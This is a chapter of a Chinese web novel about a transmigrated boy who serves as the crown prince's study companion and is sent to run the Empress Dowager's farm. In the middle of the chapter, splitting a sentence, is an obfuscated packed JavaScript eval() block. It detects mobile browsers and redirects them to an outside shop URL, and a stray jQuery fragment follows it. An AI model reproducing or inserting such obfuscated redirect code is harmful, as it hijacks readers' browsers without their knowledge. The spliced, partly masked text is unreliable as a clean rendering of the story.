赵骅有心想请假,无奈他现在还有许多事情摆在眼前,只能坐着轮椅拄着拐杖上了一旬的班。
好不容能把拐杖扔了,他只觉得神清气爽,整个人骨头都轻了三斤。
正巧今天小朝会上的事情讨论得都比较顺利,皇帝陛下心情不错,问:“赵卿这是好全了?”
“是,多谢陛下关心。”
顾潥很好奇:“怎么伤到的?”听说赵卿家里又纳了一房妾室。
不该啊,赵卿才三十,还能说一句青年才俊。
在座的,六七十了,还有……老当益壮的。
赵骅还真不能说是举自家姑娘给闪到的腰,不然传出去他家姑娘将来还怎么说亲?
大女儿婉清十一岁了,赵王氏都已经开始相看人家了。
赵骅就瞧了一眼御书房里个头最小的一只:“四儿敦实,臣一时疏忽,抱起来的时候把腰给闪了。”
赵淩目瞪口呆。这锅怎么甩到他头上了?
他还不能否认。
他是能怪姐姐妹妹,还是怪自己老爹?
又不是在家里。
“噗。”太子顾朻率先笑出声,把自己的小伴读一下举高高,还上下掂了掂,“我觉着还好。”
赵淩心想,你一个太子,抱过几个小孩儿?
他顶多就三十……四十多斤,抱不动反省一下自己有没有努力锻炼身体啊喂!
赵淩脚还没落地,就被别人转手抱了去,跟个奏折一样在君臣之间“传阅”了一遍。
赵淩:“……”这里不是严肃的御书房吗?
外人以为君臣关在门里商量严肃的国家大事,结果在里面抱孩子玩儿呢?
再这样下去,他生气了啊!
赵骅到底知道自己儿子,把儿子从一个老大人手上接过来,让他去自己的小桌子前收拾东西。
赵淩歪头瞧了一眼自家臭爹,快速收拾完自己的东西,就听着陛下说下课……不是,是解散了小朝会。
顾朻和另外两位伴读要继续待在御书房里,学□□怎么处理政务。
赵淩则得赶去文华殿上课。
朝会时间不定,赵淩上课时间也不定。
好在这时候他已经是有了名分的太子伴读,先生们对待他的态度明显更好了一些,连其他皇子皇女和各式各样的伴读都没那么无视他。
赵淩一个芯子里的成年人,并不在意这些小屁孩儿的态度。
无论是人还是物,总不能让每个人都喜欢。
他已经抱上了太后和太子的大腿,这些人不过是小卡拉米。
皇亲贵胄又怎么样?说起来是身份贵重,实际从先帝登基起,就是养着的备份基因库而已。更别说是这些备份的伴读了。
可笑的是,类似顾棱那样的,完全认不清自己的身份地位。
赵淩走神了一瞬,马上就拉回心神,专心听先生讲课。
一个时辰后,脑子里装满了知识的重量,恭送先生离开文华殿后,他才去隔壁找窦荣。
窦荣这边的先生拖堂了,见赵淩推门进来也不生气,和善地对他招招手,还把他抱坐在一旁的凳子上,给他塞了一块饼子。
饼子是烤的胡饼,凉了硬硬的,撒了芝麻,很香。
赵淩一点点拿牙齿磨,琢磨着是不是烤点小饼干。
他奶娘的厨艺是越来越好了,搭个土烤炉也不难。
他在脑子里画图纸,计算材料和费用,被窦荣抱起来都没反应,直到窦荣把他的饼子抢过去吃了,才转头看他:“饿了?”
“嗯。”窦荣两口把赵淩磨了半天牙的饼子给吃完,“想什么呢?是不是在想着弄什么好吃的?”
“嘿,你怎么知道?”
“你一天到晚,脑子里除了吃还有什么?”窦荣对赵淩是真的无语。
明明脑袋瓜子那么聪明,偏偏这份聪明才智最多的用在吃上面。
赵淩不服气:“我读书那么用功!”比他上辈子还卷。
窦荣抬手就揉了揉他的脑袋,聪明地不去提他读书的事情,转而说道:“今天放学了,我去你家挑一只狸奴。”
“好。”
他们走了没几步,就有马车在外面等着,拉着他们去长乐宫。
太子顾朻和他们前后脚到。
三个人一起陪着太后用了一顿午膳。
顾朻和窦荣吃完就回去东宫。
赵淩则单独留下午睡。
他现在已经习惯了这样的作息,沾枕即睡。
他不知道自己睡着后没过多久,顾潥就过来了。
王太后对他招招手,让他坐在自己身边,笑着问:“可用过午膳了?”
“用过了。”顾潥的心情不错,同样满面笑容,“母后教的学生果然不得了。”
王太后略带嗔怪地看了他一眼:“你啊,让你给他个太子伴读的名分,你倒是直接让他进御书房听政了。”
顾潥笑道:“朕瞧着他能听得懂。朻朻将来能得这么一位能臣,朕能安心不少。”
王太后听明白他的意思,笑道:“淩儿是小了点,再学两年也不错。哀家瞧他也贪玩好动,该学的得学,该玩的也该玩。”
“是。”顾潥说完,就告退离开。
王太后在他离开后,朝宫人招了招手,自己也去午睡。
等窗幔落下,她的脸上才失去笑容。
她不由得想,要是她的溯儿还在,或者她还有其他子嗣,今时今日是不是也会被顾潥这样猜忌。
赵淩不过一个七岁稚子,竟然也要不放心压着,要等到顾朻能独当一面后了才能启用。
赵淩不知道太后和皇帝之间短短几句话,就转变了他的命运,要是知道,他也不会觉得多沮丧。
他睡醒之后,还是照样学习,只是这一天,王太后教他的东西更加偏向于打理生意田庄。
王太后有不少私产,有些是她的嫁妆,更多的是她在几十年内经营所得。
当然先帝有各种赏赐,也有来自现任皇帝儿子的各种孝敬。
王太后的财富是一个相当惊人的数字。
她现在拿来给赵淩练手的是一个小庄,为此还特意给赵淩放了一个月的假:“正好这段时间麦子成熟,你去替哀家盯着。”
赵淩顿时像个每天苦苦学习等待着暑假的孩子一样高兴起来:“真哒?”
王太后笑着点了一下他的鼻子:“小东西,平时用功都是假的。”又说,“你清瑶姑姑跟着一起去,还有你裴先生也一起。”
赵淩一听,顿时就蔫巴了:“哦……是,姑外祖母。”
也就是说,除了学农之外,平时功课也不能落下。
窦荣是放学的时候知道的消息:“啊?小庄在哪儿?”
赵淩说道:“在淩水上游。”距离倒是和小湖村差不多,小庄在西面,小湖村在东面。
窦荣今天要去赵家,拉着他跟自己坐一辆马车:“你一个太子伴读,不陪着太子,打发你去割麦子……”他说着,声音略微降低下来,轻轻摸摸赵淩的脑袋,“太后叫你做什么,就做什么吧。”
他有一些猜测
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258262|151283||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,但看着小小一点儿的赵淩,总觉得有点离谱。
这么小一个孩子,有什么好防着的?
赵淩倒是想不太明白,感觉自己也不需要太明白。
反正太后让他做什么就去做呗,他还能反抗?
窦荣想到另外一件事:“今天顾棱没为难你吧?”
“没。顾棱没来。”赵淩还有些遗憾,很认真问窦荣,“你说我几岁能打赢顾棱?”
他现在实在是太小了点,哪怕埋伏,也不能把顾棱怎么样。
窦荣瞧了瞧他的小胳膊小腿:“再过个六七年?应该用不着,到那时候就顾棱那性子,早就已经不行了,用不着你出手。”
赵淩想想也是。
现在才十六岁就出没花街柳巷,等二十几岁的时候,早就被酒色掏空了身体,说不定还染上一身脏病。
唉,人小就是不好,报仇都不能自己动手。
窦荣听他这么问,倒是有些惊奇:“你这是想明白了?”
“嗯!”他就没必要多么谨小慎微。
他的靠山比顾棱硬。
要是两方相安无事,那自然是你好我好大家好。
要是顾棱不给面子,那他直接上就是了,毕竟他还是个小孩子,就像窦荣一样,直接用拳头说话,反而更方便。
现在想明白稍微有点晚,不过也不算太迟。
到了家里,赵淩就带他去自己小院:“我跟你说,这一窝里有两只金丝虎,将来一定能长很大。”
然后窦荣就挑了一只黑狸花:“这只瞧着精神。”
黑狸花当然精神,绝对的战神预备役。
赵淩给别人舍不得,给窦荣还是很舍得的,还问他:“你真不要一只金丝虎?”黄狸花也是狸花,还有先天体重优势,打架抓老鼠也很猛的。
窦荣瞧他真没舍不得,但看别的崽都没有跟他亲近的意思,还是没抱:“这只就够了。我好好养着。”
赵淩就给他打包一堆猫用品。
窦荣想说自己家都有,但瞧小孩儿自己动手收拾出来的东西,好像家里还真没有。
他把猫猫头形状的瓷盘瓷碗拿在手上:“你还专门给狸奴烧了饭碗水盆?”倒是有趣。
“嗯。我给你多带几个,免得砸坏了。哦,对,再给你一罐羊奶粉。”
“四郎,别忙,我们已经把东西整理好了。”来福说着,和常威一起从小库房里搬了个箱子出来,对窦荣笑道,“小公子车在哪儿,给您搬上去。”
赵淩就领着人去大门。
窦荣抱了猫就要走,马车都没进来,停在门口呢。
赵淩的院子在前院,几步就到了。
等赵辰和赵缙过来,窦荣马车的影子都瞧不见了。
赵辰瞪了赵淩一眼:“你带小国公回来,怎么不跟我们说一声?”
“跟你们说干嘛?”赵淩懒得跟他们说,提着衣服下摆就往自己的院子跑,“我明天要出门,不跟你们废话。”
清瑶那边说东西都她来准备,让他明天早点起床等着就好。
他可不能真的一点都不准备。
人,他也是要带的。
第二天,他把小院交付给赵王氏,带上自己所有的仆从和猫猫,收拾出了两辆驴车,跟着宫中出来的四驾马车,再汇合裴先生的一辆驴车一起前往郊外王太后的小庄。
他骑着点点,跟两名护卫走在队伍的最前面,还没到庄上,就见道上来了个熟人:“顾棱?”
这不巧了么!
快落一下就回来了!